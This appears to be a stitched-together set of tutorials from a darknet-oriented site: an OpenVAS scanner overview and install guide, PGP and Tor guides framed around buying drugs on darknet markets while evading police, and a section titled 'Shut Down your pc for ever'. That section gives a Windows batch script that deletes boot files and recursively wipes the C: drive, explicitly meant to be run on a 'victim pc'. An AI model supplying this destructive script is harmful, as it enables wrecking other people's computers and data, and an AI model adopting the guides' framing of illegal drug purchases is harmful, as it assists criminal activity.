OpenVAS

Open Vulnerability Assessment Scanner

The most powerful vulnerability scanner today, it consists of; CLI(command line interface) and GUI(graphic user interface)

OpenVAS overview
information source from OpenVAS website

Architecture Overview

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools. The core of this SSL-secured service-oriented architecture is the OpenVAS Scanner. The scanner very efficiently executes the actual Network Vulnerability Tests (NVTs) which are served via the OpenVAS NVT Feed or via a commercial feed service.

image courtesy of OpenVAS

The OpenVAS Manager is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. The Manager controls the Scanner via OTP (OpenVAS Transfer Protocol) and itself offers the XML-based, stateless OpenVAS Management Protocol (OMP). All intelligence is implemented in the Manager so that it is possible to implement various lean clients that will behave consistently e.g. with regard to filtering or sorting scan results. The Manager also controls a SQL database (sqlite-based) where all configuration and scan result data is centrally stored. Finally, Manager also handles user management includiung access control with groups and roles.

image courtesy of OpenVAS

Different OMP clients are available: The Greenbone Security Assistant (GSA) is a lean web service offering a user interface for web browsers. GSA uses XSL transformation stylesheet that converts OMP responses into HTML.

OpenVAS CLI contains the command line tool "omp" which allows to create batch processes to drive OpenVAS Manager. Another tool of this package is a Nagios plugin.

image courtesy of OpenVAS

Most of the tools listed above share functionality that is aggregated in the OpenVAS Libraries.

The OpenVAS Scanner offers the communication protocol OTP (OpenVAS Transfer Protocol) which allows to control the scan execution. This protocol is subject to be eventually replaced and thus it is not recommended to develop OTP clients.

Feature overview

• OpenVAS Scanner
• Many target hosts are scanned concurrently
• OpenVAS Transfer Protocol (OTP)
• SSL support for OTP (always)
• WMI support (optional)
• OpenVAS Manager
• OpenVAS Management Protocol (OMP)
• SQL Database (sqlite) for configurations and scan results
• SSL support for OMP (always)
• Many concurrent scans tasks (many OpenVAS Scanners)
• Notes management for scan results
• False Positive management for scan results
• Scheduled scans
• Flexible escalators upon status of a scan task
• Stop, Pause and Resume of scan tasks
• Master-Slave Mode to control many instances from a central one
• Reports Format Plugin Framework with various plugins for: XML, HTML, LateX, etc.
• User Management
• Feed status view
• Feed synchronisation
• Greenbone Security Assistant (GSA)
• Client for OMP and OAP
• HTTP and HTTPS
• Web server on its own (microhttpd), thus no extra web server required
• Integrated online-help system
• Multi-language support
• OpenVAS CLI
• Client for OMP
• Runs on Windows, Linux, etc.
• Plugin for Nagios

Updating and Installing

OpenVAS for Debian via OBS

Step 1: Configure OBS Repository
(as user root, only once)

echo "deb http://download.opensuse.org/repositories/security:
/OpenVAS:/UNSTABLE:/v5/Debian_6.0/ ./" >> /etc/apt/sources.list apt-key 
adv --keyserver hkp://keys.gnupg.net --recv-keys BED1E87979EAFD54
sudo apt-get update

Step 2: Quick-Install OpenVAS
(as user root, only once)

apt-get -y install greenbone-security-assistant gsd openvas-cli openvas-manager 
openvas-scanner openvas-administrator sqlite3 xsltproc

To install support packages for report generation (downloads around 30 MB of additional packages):

apt-get -y install texlive-latex-base texlive-latex-extra 
texlive-latex-recommended htmldoc

To install support for autogenerated LSC credential packages:

apt-get -y install alien rpm nsis fakeroot

Step 3: Quick-Start OpenVAS
(copy and paste whole block as user root, during first time you will be asked to set a password for user "admin")

test -e /var/lib/openvas/CA/cacert.pem  || openvas-mkcert -q
openvas-nvt-sync
test -e /var/lib/openvas/users/om || openvas-mkcert-client -n om -i
/etc/init.d/openvas-manager stop 
/etc/init.d/openvas-scanner stop 
openvassd
openvasmd --migrate
openvasmd --rebuild
killall openvassd
sleep 15
/etc/init.d/openvas-scanner start
/etc/init.d/openvas-manager start
/etc/init.d/openvas-administrator restart
/etc/init.d/greenbone-security-assistant restart
test -e /var/lib/openvas/users/admin || openvasad -c add_user -n admin -r Admin

Step 4: Log into OpenVAS as "admin"

Open https://localhost:9392/ or start "gsd" on a command line as a regular user (not as root!).

Linux PGP

Basic Guide to PGP On Linux

 For this guide we’ll be using GnuPG with Gnu Privacy Assistant as a graphical front-end.

Information sourced from DeepDotWEb.

Part 1 – Installing the software

Like I said in the intro, we’ll be using GnuPG with Gnu Privacy Assistant. I like GPA as a graphical front-end because its layout is really easy to understand and follow.

1. Open up Terminal
2. Type, without quotes, ‘sudo apt-get install gpa gnupg2’, then hit ‘enter’
3. Enter your password, hit ‘enter’
4. It will pull the dependancies needed for both to work properly, tell you the space needed, and ask you to confirm. Type ‘y’ then hit ‘enter’ to confirm
5. Wait a bit as everything installs

This should only take a few minutes to complete. See this picture to confirm you’re doing the steps correctly:

Part 2 – Generating your keypair

Part 1 was easy, eh? Don’t worry things don’t get much harder. The next step is to create your keypair. We’ll be using 4096 bit RSA to keep things extra secure!

1. In your Terminal, type without quotes ‘gpg –gen-key’, then hit ‘enter’
2. It will ask you what kind of key you want. For our usecase, we want option ‘1’ :
3. Next step is key length. The longer the length, the more secure it is. We’ll go with 4096 bits:
4. It will now ask if you want your key to expire after a certain amount of time. This is up to personal preference, but we’ll choose ‘key does not expire’, so just hit ‘enter’
5. Confirm that yes, the key will not expire. Type ‘y’, then hit ‘enter’
6. The next step will be to enter an ID to make it easier for people to identify your key. If you’ve made it this far, you should know what to do
7. It will ask if this information is correct. If it is, type ‘O’ and hit ‘enter’
   Here is a great XKCD comic on creating secure passphrases
8. Enter a passphrase to protect your secret key.
9. Here comes the fun part. It’s going to generate your key, and will ask you to do some random stuff to create entropy. I like to have a Youtube video going with a torrent running in the background, while randomly mashing keys in a text editor. See the picture for an example of what will be output in the terminal
10. annnddddd we’re done!

Part 3 – Obtaining your public key

So we’ve installed the software, generated our super secure keypair. Now what? Well if you want to actually use it we need to obtain our public key. Everything from here will be done through the graphical front-end.

1. Open Terminal, type ‘sudo gpa’, hit ‘enter’. Type in your password ^{yeahIknowwhatyou’rethinking}
2. You’ll be greeted by this beautiful window
3. Click on the keypair you just created, click ‘Keys’ up at the top, then ‘Export keys…’
4. Select where you want it saved, enter a filename, and click ‘Save’
5. Browse to the location in your file manager, open up that file with a text editor

There’s your public key! Don’t forget to put this on your market profile so people can contact you easier.

Part 4 – Obtaining your private key

If you ever want to switch operating systems or PGP programs, you’ll need to do this. It’s just as easy as obtaining your public key. Make sure you keep this file safe!

1. Hopefully you still have GPA open. If not, follow step #1 of Part 3
2. Click on your keypair, click ‘Keys’ up at the top then ‘Backup’
3. Select where you want it saved, keep the filename it gives you, and click ‘Save’
4. A window will pop up, you can back up to a floppy if you’re stuck in the ’80s

Remember to keep this file safe! Don’t forget your passphrase!

Part 5 – Importing a public key

So you want to buy some dank marijuanas, you’ll need to encrypt your message unless you want LE kicking down your door and putting a boot to your throat. How is this done? Easy!

1. Obtain the recipients public key, which can hopefully be found on their profile
2. Copy everything, paste into a text editor, save it somewhere
3. Up at the top, click ‘Keys’, then ‘Import key…’
4. Select the key, then click ‘Open’. You’ll see this window
5. We’re done!

I used some random key found on DDG. Thanks Alan!

Part 6 – Importing a private key

You finally realized that Microsoft/Apple is spying on you, and want to switch to an operating system that respects your right to privacy. How do you bring your key over?

1. Up at the top, select ‘Keys’, then ‘Import Keys…’
2. Select your backup, it should have a file extension of .asc
3. This window will appear
4. Your key is now imported

I could do this blindfolded!

Part 7 – Encrypting a message

GPA makes this easy as pie. Seriously, if you still can’t do it after following the below steps you shouldn’t be here.

1. Click ‘Windows’ at the top, then ‘Clipboard’
2. This beautiful window will appear
3. Type in your message
4. Click the envelope with the blue key
5. Select the recipient of the message, sign it with your key if you want, then click ‘Ok’
6. Your encrypted message will now appear in the buffer. Copy everything and send this to the recipient

Part 8 – Decrypting a message

You sent your message, and the vendor responded! Now what? You’ll want to decrypt the message with your public key.

1. Copy everything the vendor sent you, paste it into the buffer
2. Click the envelope at the top with the yellow key
3. Enter your passphrase
4. Read your message

Part 9 – Conclusion

There we have it, an easy to follow PGP guide for Linux with pictures! PGP can be overwhelming at first, but with persistence and the willingness to learn anyone can do it. Hopefully this guide will keep you guys safe on the DNM! I’ll have an OS X guide coming soon, and possibly a Windows guide following that. Any and all constructive feedback is appreciated, as well as suggestions for other guides!

Shut Down your pc for ever!!!!

This is a dangerous procedure and should be done if you don't intend to boot your pc again.
Open notepad an copy the following ;

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

save it as any name but should have the extension of .bat or .cmd at the end e.g. shutdown.bat. this shuts down the pc and delete all necessary file needed to reboot your pc.

An alternative way to recover;

cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It
with Extension .cmd or .bat.

Now just run the bat file to the victim pc.

How to access onion sites

In order to use most of the sites on the Hidden Marketplace list, you must be able to access and browse .onion sites on the TOR network. Accessing these sites is a very simple process; for those of you that are still not familiar with the TOR browser and network, we have created a simple tutorial to help you access any onion site on the deep web.

A Short Explanation of .onion Sites:

.onion is a pseudo-top-level domain host suffix (similar in concept to such endings as .bitnet and .uucp used in earlier times) designating an anonymous hidden service reachable via the TOR network. Such addresses are not actual DNS names, and the .onion TLD is not in the Internet DNS root, but with the appropriate proxy software installed (in most cases, The TOR browser bundle), Internet programs such as Web browsers can access sites with .onion addresses by sending the request through the TOR network. The purpose of using such a system is to make both the information provider and the person accessing the information more difficult to trace, whether by one another, by an intermediate network host, or by an outsider.

To access these sites just follow these simple steps:

1. Navigate to the TOR Project website at this address: https://www.torproject.org/download/download.html.en and download the latest browser bundle for your operating system, never download any browser bundle from any other site! make sure that this is the site you are using:

2. After downloading the browser bundle, just install it like any other software.

3. Next, Start the TOR browser and it will connect to the TOR network ( it might ask you for a confirmation, just click ok):

4. After the browser is started, and you see the confirmation screen that the browser is connected and everything is ok, make sure that you are running the latest version of the TOR browser:

5. That’s it! you are all set to go, the only thing you need to do is the enter any .onion url into the address bar of the browser and you will be able to browse freely on the deep web:

Make sure you have Javascript disabled in the browser. Always be safe and use other measures to stay anonymous online such as PGP or anonymous VPNs.

PGP Tutorial For Newbs (Gpg4Win)

– Step One –

Okay, so first things first, let’s get a PGP program. One of the most popular is GPA. Head over to this link to download gpg4win which includes GPA {you can see a list of the programs gpg4win contains to the left of the download page, GPA is one of them}

Download: http://gpg4win.org/download.html

IMPORTANT !!!!!!! ***********************

When installing gpg4win you get the option to install which programs you want from the package. By default, GPA is not checked. MAKE SURE YOU CHECK GPA! You need it in order to easily encrypt and decrypt messages. This is what it looks like during the installation:

Next, you want to make a PGP key. Remember, none of the details need to be valid. I’d use your online name or a different alias when making your key. Something that isn’t your gamertag for online games, or anything that may tie to you. A completely new alias. The e-mail doesn’t need to be valid at all. Here are some pictures to help you through the process. Also make a backup of your key!!!

First, click the keys in the menu at the top. Alternatively, you can click CTRL+N to begin the process of creating a key. Shown here:

You will go through a set up, where you make a name for your key, which I suggest you use an alias. Shown here:

After selecting your alias it asks for an e-mail adress. This e-mail should be non existent, and be linked to a website that also doesn’t exist. Shown here:

Then you’re asked to make a backup of your key. I highly suggest you do this! Although you can make a back up at any time, you should just do it now. This is where your public key will be that you give to others to contact you. Shown here:

– Step 2 – Find Your Key –

Find where you put the back up of your key. It will be an .asc file but no worries, when asked to open the file just tell windows or whatever OS to open it using Notepad. Here you will find a public key similar to this.

When sharing your key with others, you wan’t to copy and paste from the beginning dashes to the end dashes. Exactly how I have copied and pasted above.

— HOW TO IMPORT SOMEONE ELSES PGP KEY TO YOUR GPA PROGRAMS —

You see people giving their public keys away so others can contact them. Simply open a notepad file, copy and paste their key and import it using the GPA program. I will show you how to do this.

First make a blank text file and copy the users pubic key to it. Shown here:

Then, in the Keys menu where you made your key, select import keys. Shown here:

Select the Text file you saved with the public key in it. Shown here:

Then you should get this if the key was successfully imported:

Now, lets send an encrypted message.

First, open the clipboard. You can get there through the Windows menu or through the clipboard icon on the quickbar. Shown here:

Then after opening clipboard type the message you’d like to send and select encrypt at the top of the clipboard window. Shown here

When you press encrypt, you are given a menu shown below. In this menu you select what key you’re using to send the message, and what key is going to be receiving the message. I chose to send the fake account used to make this tutorial a message with my personal account. Here’s what that menu looks like:

After you select who’s sending and who’s receiving you should get an encrypted message that looks like this:

This encrypted message is what you send instead of cleartext. So when messaging on websites, simply paste the PGP message. If you receive a PGP message, you can also use the clipboard to decrypt the message you have received by opening the clipboard, pasting the PGP message you got, and then pressing the decrypt button, shown here:

That about sums it up. I hope that people with questions on PGP and how it’s used can be solved here, as I tried to make the tutorial as noob as possible. Please be safe when communicating confidential or sensitive information on websites. Always PGP. Never FE. Be safe people.